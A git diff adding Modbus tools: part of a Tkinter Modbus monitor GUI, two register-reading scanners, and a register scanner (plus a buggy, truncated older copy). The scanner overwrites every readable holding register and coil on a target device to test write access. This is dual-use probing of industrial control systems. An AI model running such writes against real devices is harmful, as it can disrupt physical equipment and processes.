self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") + client.close() + return valid_list,data_list,permission_list + + + +#Write the result to Excel File +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]+reg_value) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=True, help='Port Number') +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - 